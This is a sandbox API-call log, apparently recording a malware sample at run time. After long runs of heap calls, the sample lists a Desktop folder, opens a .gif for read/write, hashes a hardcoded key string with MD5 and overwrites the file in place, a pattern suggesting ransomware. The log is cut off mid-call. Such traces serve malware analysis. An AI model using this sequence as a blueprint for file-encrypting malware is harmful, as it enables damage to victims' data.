[0269.940] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.940] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.940] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.940] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.940] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.940] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.940] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.940] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.940] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0269.940] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.940] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.940] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.940] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.940] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0269.940] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.940] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.940] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.940] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0269.940] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.940] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.941] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.941] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.941] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.941] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.941] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.941] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.941] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.941] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.941] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.941] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.941] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.941] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.941] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.941] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.941] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.941] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.941] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.941] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.941] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.941] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.941] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.941] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.941] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.941] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.941] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.941] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.941] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.941] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.942] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.942] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.942] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0269.942] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.942] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.942] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.942] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.942] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.942] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.942] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.942] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.942] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0269.942] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.942] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.942] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.942] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0269.942] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.942] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.942] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.942] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.942] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.942] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.942] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.942] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.942] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.942] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.942] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.942] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.943] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0269.943] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.943] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.943] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.943] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.943] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0269.943] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.943] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.943] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.943] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0269.943] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.943] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.943] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.943] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.943] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.943] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.943] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.943] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.943] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.943] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.943] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.943] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.943] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.943] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.943] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.943] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.943] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.944] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.944] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.944] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.944] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.944] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.944] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.944] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.944] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.944] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.944] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.944] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.944] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.944] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.944] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.944] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.944] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0269.944] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.944] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.944] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.944] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.944] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.944] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.944] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.944] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.944] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0269.944] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.944] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.944] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.945] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0269.945] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.945] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.945] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.945] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.945] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.945] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.945] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.945] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.945] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.945] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.945] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.945] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.945] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0269.945] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.945] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.945] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.945] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.945] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0269.945] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.945] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.945] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.945] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.945] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.945] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.945] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.945] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.945] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.946] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.946] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.946] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.946] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.946] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.946] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.946] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.946] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.946] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.946] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.946] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\") returned="0_DXftOx\\" [0269.946] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0269.946] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x2ff2f48 [0269.946] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.946] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0269.946] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081960 [0269.946] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff2f48 | out: hHeap=0x640000) returned 1 [0269.946] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0269.946] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab840 [0269.946] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0269.946] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0269.946] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081960 | out: hHeap=0x640000) returned 1 [0269.946] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0269.946] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0269.946] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0269.946] PathFindFileNameW (pszPath="") returned="" [0269.946] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0269.947] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddc44f60, ftCreationTime.dwHighDateTime=0x1d4d30e, ftLastAccessTime.dwLowDateTime=0xffd0de50, ftLastAccessTime.dwHighDateTime=0x1d4c6d1, ftLastWriteTime.dwLowDateTime=0xffd0de50, ftLastWriteTime.dwHighDateTime=0x1d4c6d1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0269.947] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0269.947] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddc44f60, ftCreationTime.dwHighDateTime=0x1d4d30e, ftLastAccessTime.dwLowDateTime=0xffd0de50, ftLastAccessTime.dwHighDateTime=0x1d4c6d1, ftLastWriteTime.dwLowDateTime=0xffd0de50, ftLastWriteTime.dwHighDateTime=0x1d4c6d1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.947] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe867c4d0, ftCreationTime.dwHighDateTime=0x1d4d09b, ftLastAccessTime.dwLowDateTime=0x13dd5670, ftLastAccessTime.dwHighDateTime=0x1d4d1dc, ftLastWriteTime.dwLowDateTime=0x13dd5670, ftLastWriteTime.dwHighDateTime=0x1d4d1dc, nFileSizeHigh=0x0, nFileSizeLow=0x12c4a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="21IMcPko8Du_3IsFB-Q.gif", cAlternateFileName="21IMCP~1.GIF")) returned 1 [0269.947] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.947] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0269.947] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.947] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\21IMcPko8Du_3IsFB-Q.gif") returned=".gif" [0269.947] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\21IMcPko8Du_3IsFB-Q.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\21imcpko8du_3isfb-q.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.947] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=76874) returned 1 [0269.947] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.950] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x12c24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.950] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.951] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0269.951] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.951] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.951] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x12c4a, lpOverlapped=0x0) returned 1 [0269.951] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.951] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0269.951] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.951] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.951] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0269.952] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.952] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.952] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.952] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0269.952] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.952] GetLastError () returned 0x0 [0269.952] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.952] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0269.952] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0269.952] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x12c50) returned 0x311d708 [0269.953] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0269.953] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.953] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x12c45, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x12c45, lpOverlapped=0x0) returned 1 [0269.953] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.953] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x12c4a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.953] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.953] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0269.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, 